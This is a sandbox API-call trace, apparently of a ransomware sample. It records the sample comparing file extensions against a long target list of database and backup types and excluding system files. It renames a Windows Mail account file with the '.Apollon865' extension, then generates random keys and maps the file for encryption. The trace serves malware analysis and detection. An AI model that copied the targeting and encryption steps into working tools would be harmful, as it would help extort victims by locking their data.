	[0054.783] lstrlenW (lpString="owc") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="owc") returned 1
	[0054.783] lstrlenW (lpString="p96") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="p96") returned 1
	[0054.783] lstrlenW (lpString="p97") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="p97") returned 1
	[0054.783] lstrlenW (lpString="pan") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="pan") returned 1
	[0054.783] lstrlenW (lpString="pdb") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="pdb") returned 1
	[0054.783] lstrlenW (lpString="pdm") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="pdm") returned 1
	[0054.783] lstrlenW (lpString="pnz") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="pnz") returned 1
	[0054.783] lstrlenW (lpString="qry") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="qry") returned 1
	[0054.783] lstrlenW (lpString="qvd") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="qvd") returned 1
	[0054.783] lstrlenW (lpString="rbf") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="rbf") returned 1
	[0054.783] lstrlenW (lpString="rctd") returned 4
	[0054.783] lstrcmpiW (lpString1="ount", lpString2="rctd") returned -1
	[0054.783] lstrlenW (lpString="rod") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="rod") returned 1
	[0054.783] lstrlenW (lpString="rodx") returned 4
	[0054.783] lstrcmpiW (lpString1="ount", lpString2="rodx") returned -1
	[0054.784] lstrlenW (lpString="rpd") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="rpd") returned 1
	[0054.784] lstrlenW (lpString="rsd") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="rsd") returned 1
	[0054.784] lstrlenW (lpString="sas7bdat") returned 8
	[0054.784] lstrcmpiW (lpString1="eaccount", lpString2="sas7bdat") returned -1
	[0054.784] lstrlenW (lpString="sbf") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="sbf") returned 1
	[0054.784] lstrlenW (lpString="scx") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="scx") returned 1
	[0054.784] lstrlenW (lpString="sdb") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="sdb") returned 1
	[0054.784] lstrlenW (lpString="sdc") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="sdc") returned 1
	[0054.784] lstrlenW (lpString="sdf") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="sdf") returned 1
	[0054.784] lstrlenW (lpString="sis") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="sis") returned 1
	[0054.784] lstrlenW (lpString="spq") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="spq") returned 1
	[0054.784] lstrlenW (lpString="te") returned 2
	[0054.784] lstrcmpiW (lpString1="nt", lpString2="te") returned -1
	[0054.784] lstrlenW (lpString="teacher") returned 7
	[0054.784] lstrcmpiW (lpString1="account", lpString2="teacher") returned -1
	[0054.784] lstrlenW (lpString="tmd") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="tmd") returned 1
	[0054.784] lstrlenW (lpString="tps") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="tps") returned 1
	[0054.784] lstrlenW (lpString="trc") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0054.784] lstrlenW (lpString="trc") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0054.784] lstrlenW (lpString="trm") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="trm") returned 1
	[0054.784] lstrlenW (lpString="udb") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="udb") returned 1
	[0054.784] lstrlenW (lpString="udl") returned 3
	[0054.784] lstrcmpiW (lpString1="unt", lpString2="udl") returned 1
	[0054.784] lstrlenW (lpString="usr") returned 3
	[0054.785] lstrcmpiW (lpString1="unt", lpString2="usr") returned -1
	[0054.785] lstrlenW (lpString="v12") returned 3
	[0054.785] lstrcmpiW (lpString1="unt", lpString2="v12") returned -1
	[0054.785] lstrlenW (lpString="vis") returned 3
	[0054.785] lstrcmpiW (lpString1="unt", lpString2="vis") returned -1
	[0054.785] lstrlenW (lpString="vpd") returned 3
	[0054.785] lstrcmpiW (lpString1="unt", lpString2="vpd") returned -1
	[0054.785] lstrlenW (lpString="vvv") returned 3
	[0054.785] lstrcmpiW (lpString1="unt", lpString2="vvv") returned -1
	[0054.785] lstrlenW (lpString="wdb") returned 3
	[0054.785] lstrcmpiW (lpString1="unt", lpString2="wdb") returned -1
	[0054.785] lstrlenW (lpString="wmdb") returned 4
	[0054.785] lstrcmpiW (lpString1="ount", lpString2="wmdb") returned -1
	[0054.785] lstrlenW (lpString="wrk") returned 3
	[0054.785] lstrcmpiW (lpString1="unt", lpString2="wrk") returned -1
	[0054.785] lstrlenW (lpString="xdb") returned 3
	[0054.785] lstrcmpiW (lpString1="unt", lpString2="xdb") returned -1
	[0054.785] lstrlenW (lpString="xld") returned 3
	[0054.785] lstrcmpiW (lpString1="unt", lpString2="xld") returned -1
	[0054.785] lstrlenW (lpString="xmlff") returned 5
	[0054.785] lstrcmpiW (lpString1="count", lpString2="xmlff") returned -1
	[0054.785] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.Apollon865") returned 120
	[0054.785] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.apollon865"), dwFlags=0x1) returned 1
	[0054.787] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.787] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=672) returned 1
	[0054.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0054.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.788] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0054.788] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.788] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.789] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x118
	[0054.790] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x100000
	[0054.802] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0054.802] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.802] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0054.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0054.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.803] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.803] CloseHandle (hObject=0x118) returned 1
	[0054.803] CloseHandle (hObject=0x150) returned 1
	[0054.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0054.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.804] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="Apollon865.txt.exe") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".") returned 1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="..") returned 1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="windows") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="bootmgr") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="temp") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="pagefile.sys") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="boot") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="ids.txt") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="ntuser.dat") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="perflogs") returned -1
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="MSBuild") returned -1
	[0054.804] lstrlenW (lpString="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 55
	[0054.804] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 109
	[0054.804] lstrcpyW (in: lpString1=0x119e674, lpString2="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" | out: lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount"
	[0054.804] lstrlenW (lpString="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 55
	[0054.804] lstrlenW (lpString="Apollon865") returned 10
	[0054.804] lstrcmpiW (lpString1=".oeaccount", lpString2="Apollon865") returned -1
	[0054.804] lstrlenW (lpString=".dll") returned 4
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".dll") returned 1
	[0054.804] lstrlenW (lpString=".lnk") returned 4
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".lnk") returned 1
	[0054.804] lstrlenW (lpString=".ini") returned 4
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".ini") returned 1
	[0054.804] lstrlenW (lpString=".sys") returned 4
	[0054.804] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".sys") returned 1
	[0054.804] lstrlenW (lpString="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 55
	[0054.804] lstrlenW (lpString="bak") returned 3
	[0054.804] lstrcmpiW (lpString1="unt", lpString2="bak") returned 1
	[0054.805] lstrlenW (lpString="ba_") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="ba_") returned 1
	[0054.805] lstrlenW (lpString="dbb") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="dbb") returned 1
	[0054.805] lstrlenW (lpString="vmdk") returned 4
	[0054.805] lstrcmpiW (lpString1="ount", lpString2="vmdk") returned -1
	[0054.805] lstrlenW (lpString="rar") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="rar") returned 1
	[0054.805] lstrlenW (lpString="zip") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="zip") returned -1
	[0054.805] lstrlenW (lpString="tgz") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="tgz") returned 1
	[0054.805] lstrlenW (lpString="vbox") returned 4
	[0054.805] lstrcmpiW (lpString1="ount", lpString2="vbox") returned -1
	[0054.805] lstrlenW (lpString="vdi") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="vdi") returned -1
	[0054.805] lstrlenW (lpString="vhd") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="vhd") returned -1
	[0054.805] lstrlenW (lpString="vhdx") returned 4
	[0054.805] lstrcmpiW (lpString1="ount", lpString2="vhdx") returned -1
	[0054.805] lstrlenW (lpString="avhd") returned 4
	[0054.805] lstrcmpiW (lpString1="ount", lpString2="avhd") returned 1
	[0054.805] lstrlenW (lpString="db") returned 2
	[0054.805] lstrcmpiW (lpString1="nt", lpString2="db") returned 1
	[0054.805] lstrlenW (lpString="db2") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="db2") returned 1
	[0054.805] lstrlenW (lpString="db3") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="db3") returned 1
	[0054.805] lstrlenW (lpString="dbf") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="dbf") returned 1
	[0054.805] lstrlenW (lpString="mdf") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="mdf") returned 1
	[0054.805] lstrlenW (lpString="mdb") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="mdb") returned 1
	[0054.805] lstrlenW (lpString="sql") returned 3
	[0054.805] lstrcmpiW (lpString1="unt", lpString2="sql") returned 1
	[0054.805] lstrlenW (lpString="sqlite") returned 6
	[0054.806] lstrcmpiW (lpString1="ccount", lpString2="sqlite") returned -1
	[0054.806] lstrlenW (lpString="sqlite3") returned 7
	[0054.806] lstrcmpiW (lpString1="account", lpString2="sqlite3") returned -1
	[0054.806] lstrlenW (lpString="sqlitedb") returned 8
	[0054.806] lstrcmpiW (lpString1="eaccount", lpString2="sqlitedb") returned -1
	[0054.806] lstrlenW (lpString="xml") returned 3
	[0054.806] lstrcmpiW (lpString1="unt", lpString2="xml") returned -1
	[0054.806] lstrlenW (lpString="$er") returned 3
	[0054.806] lstrcmpiW (lpString1="unt", lpString2="$er") returned 1
	[0054.806] lstrlenW (lpString="4dd") returned 3
	[0054.806] lstrcmpiW (lpString1="unt", lpString2="4dd") returned 1
	[0054.806] lstrlenW (lpString="4dl") returned 3
	[0054.806] lstrcmpiW (lpString1="unt", lpString2="4dl") returned 1
	[0054.806] lstrlenW (lpString="^^^") returned 3
	[0054.806] lstrcmpiW (lpString1="unt", lpString2="^^^") returned 1
	[0054.806] lstrlenW (lpString="abs") returned 3
	[0054.806] lstrcmpiW (lpString1="unt", lpString2="abs") returned 1
	[0054.806] lstrlenW (lpString="abx") returned 3
	[0054.806] lstrcmpiW (lpString1="unt", lpString2="abx") returned 1
	[0054.806] lstrlenW (lpString="accdb") returned 5
	[0054.806] lstrcmpiW (lpString1="count", lpString2="accdb") returned 1
	[0054.806] lstrlenW (lpString="accdc") returned 5
	[0054.806] lstrcmpiW (lpString1="count", lpString2="accdc") returned 1
	[0054.806] lstrlenW (lpString="accde") returned 5
	[0054.806] lstrcmpiW (lpString1="count", lpString2="accde") returned 1
	[0054.806] lstrlenW (lpString="accdr") returned 5
	[0054.806] lstrcmpiW (lpString1="count", lpString2="accdr") returned 1
	[0054.806] lstrlenW (lpString="accdt") returned 5
	[0054.806] lstrcmpiW (lpString1="count", lpString2="accdt") returned 1
	[0054.806] lstrlenW (lpString="accdw") returned 5
	[0054.806] lstrcmpiW (lpString1="count", lpString2="accdw") returned 1
	[0054.806] lstrlenW (lpString="accft") returned 5
	[0054.806] lstrcmpiW (lpString1="count", lpString2="accft") returned 1
	[0054.806] lstrlenW (lpString="adb") returned 3
	[0054.806] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0054.806] lstrlenW (lpString="adb") returned 3
	[0054.806] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0054.806] lstrlenW (lpString="ade") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="ade") returned 1
	[0054.807] lstrlenW (lpString="adf") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="adf") returned 1
	[0054.807] lstrlenW (lpString="adn") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="adn") returned 1
	[0054.807] lstrlenW (lpString="adp") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="adp") returned 1
	[0054.807] lstrlenW (lpString="alf") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="alf") returned 1
	[0054.807] lstrlenW (lpString="ask") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="ask") returned 1
	[0054.807] lstrlenW (lpString="btr") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="btr") returned 1
	[0054.807] lstrlenW (lpString="cat") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="cat") returned 1
	[0054.807] lstrlenW (lpString="cdb") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="cdb") returned 1
	[0054.807] lstrlenW (lpString="ckp") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="ckp") returned 1
	[0054.807] lstrlenW (lpString="cma") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="cma") returned 1
	[0054.807] lstrlenW (lpString="cpd") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="cpd") returned 1
	[0054.807] lstrlenW (lpString="dacpac") returned 6
	[0054.807] lstrcmpiW (lpString1="ccount", lpString2="dacpac") returned -1
	[0054.807] lstrlenW (lpString="dad") returned 3
	[0054.807] lstrcmpiW (lpString1="unt", lpString2="dad") returned 1
	[0054.807] lstrlenW (lpString="dadiagrams") returned 10
	[0054.807] lstrcmpiW (lpString1=".oeaccount", lpString2="dadiagrams") returned -1
	[0054.807] lstrlenW (lpString="daschema") returned 8
	[0054.807] lstrcmpiW (lpString1="eaccount", lpString2="daschema") returned 1
	[0054.807] lstrlenW (lpString="db-journal") returned 10
	[0054.807] lstrcmpiW (lpString1=".oeaccount", lpString2="db-journal") returned -1
	[0054.807] lstrlenW (lpString="db-shm") returned 6
	[0054.807] lstrcmpiW (lpString1="ccount", lpString2="db-shm") returned -1
	[0054.807] lstrlenW (lpString="db-wal") returned 6
	[0054.807] lstrcmpiW (lpString1="ccount", lpString2="db-wal") returned -1
	[0054.807] lstrlenW (lpString="dbc") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dbc") returned 1
	[0054.808] lstrlenW (lpString="dbs") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dbs") returned 1
	[0054.808] lstrlenW (lpString="dbt") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dbt") returned 1
	[0054.808] lstrlenW (lpString="dbv") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dbv") returned 1
	[0054.808] lstrlenW (lpString="dbx") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dbx") returned 1
	[0054.808] lstrlenW (lpString="dcb") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dcb") returned 1
	[0054.808] lstrlenW (lpString="dct") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dct") returned 1
	[0054.808] lstrlenW (lpString="dcx") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dcx") returned 1
	[0054.808] lstrlenW (lpString="ddl") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="ddl") returned 1
	[0054.808] lstrlenW (lpString="dlis") returned 4
	[0054.808] lstrcmpiW (lpString1="ount", lpString2="dlis") returned 1
	[0054.808] lstrlenW (lpString="dp1") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dp1") returned 1
	[0054.808] lstrlenW (lpString="dqy") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dqy") returned 1
	[0054.808] lstrlenW (lpString="dsk") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dsk") returned 1
	[0054.808] lstrlenW (lpString="dsn") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dsn") returned 1
	[0054.808] lstrlenW (lpString="dtsx") returned 4
	[0054.808] lstrcmpiW (lpString1="ount", lpString2="dtsx") returned 1
	[0054.808] lstrlenW (lpString="dxl") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="dxl") returned 1
	[0054.808] lstrlenW (lpString="eco") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="eco") returned 1
	[0054.808] lstrlenW (lpString="ecx") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="ecx") returned 1
	[0054.808] lstrlenW (lpString="edb") returned 3
	[0054.808] lstrcmpiW (lpString1="unt", lpString2="edb") returned 1
	[0054.808] lstrlenW (lpString="epim") returned 4
	[0054.808] lstrcmpiW (lpString1="ount", lpString2="epim") returned 1
	[0054.809] lstrlenW (lpString="fcd") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fcd") returned 1
	[0054.809] lstrlenW (lpString="fdb") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fdb") returned 1
	[0054.809] lstrlenW (lpString="fic") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fic") returned 1
	[0054.809] lstrlenW (lpString="flexolibrary") returned 12
	[0054.809] lstrcmpiW (lpString1="7}.oeaccount", lpString2="flexolibrary") returned -1
	[0054.809] lstrlenW (lpString="fm5") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fm5") returned 1
	[0054.809] lstrlenW (lpString="fmp") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fmp") returned 1
	[0054.809] lstrlenW (lpString="fmp12") returned 5
	[0054.809] lstrcmpiW (lpString1="count", lpString2="fmp12") returned -1
	[0054.809] lstrlenW (lpString="fmpsl") returned 5
	[0054.809] lstrcmpiW (lpString1="count", lpString2="fmpsl") returned -1
	[0054.809] lstrlenW (lpString="fol") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fol") returned 1
	[0054.809] lstrlenW (lpString="fp3") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fp3") returned 1
	[0054.809] lstrlenW (lpString="fp4") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fp4") returned 1
	[0054.809] lstrlenW (lpString="fp5") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fp5") returned 1
	[0054.809] lstrlenW (lpString="fp7") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fp7") returned 1
	[0054.809] lstrlenW (lpString="fpt") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="fpt") returned 1
	[0054.809] lstrlenW (lpString="frm") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="frm") returned 1
	[0054.809] lstrlenW (lpString="gdb") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0054.809] lstrlenW (lpString="gdb") returned 3
	[0054.809] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0054.809] lstrlenW (lpString="grdb") returned 4
	[0054.809] lstrcmpiW (lpString1="ount", lpString2="grdb") returned 1
	[0054.810] lstrlenW (lpString="gwi") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="gwi") returned 1
	[0054.810] lstrlenW (lpString="hdb") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="hdb") returned 1
	[0054.810] lstrlenW (lpString="his") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="his") returned 1
	[0054.810] lstrlenW (lpString="ib") returned 2
	[0054.810] lstrcmpiW (lpString1="nt", lpString2="ib") returned 1
	[0054.810] lstrlenW (lpString="idb") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="idb") returned 1
	[0054.810] lstrlenW (lpString="ihx") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="ihx") returned 1
	[0054.810] lstrlenW (lpString="itdb") returned 4
	[0054.810] lstrcmpiW (lpString1="ount", lpString2="itdb") returned 1
	[0054.810] lstrlenW (lpString="itw") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="itw") returned 1
	[0054.810] lstrlenW (lpString="jet") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="jet") returned 1
	[0054.810] lstrlenW (lpString="jtx") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="jtx") returned 1
	[0054.810] lstrlenW (lpString="kdb") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="kdb") returned 1
	[0054.810] lstrlenW (lpString="kexi") returned 4
	[0054.810] lstrcmpiW (lpString1="ount", lpString2="kexi") returned 1
	[0054.810] lstrlenW (lpString="kexic") returned 5
	[0054.810] lstrcmpiW (lpString1="count", lpString2="kexic") returned -1
	[0054.810] lstrlenW (lpString="kexis") returned 5
	[0054.810] lstrcmpiW (lpString1="count", lpString2="kexis") returned -1
	[0054.810] lstrlenW (lpString="lgc") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="lgc") returned 1
	[0054.810] lstrlenW (lpString="lwx") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="lwx") returned 1
	[0054.810] lstrlenW (lpString="maf") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="maf") returned 1
	[0054.810] lstrlenW (lpString="maq") returned 3
	[0054.810] lstrcmpiW (lpString1="unt", lpString2="maq") returned 1
	[0054.810] lstrlenW (lpString="mar") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mar") returned 1
	[0054.811] lstrlenW (lpString="marshal") returned 7
	[0054.811] lstrcmpiW (lpString1="account", lpString2="marshal") returned -1
	[0054.811] lstrlenW (lpString="mas") returned 3
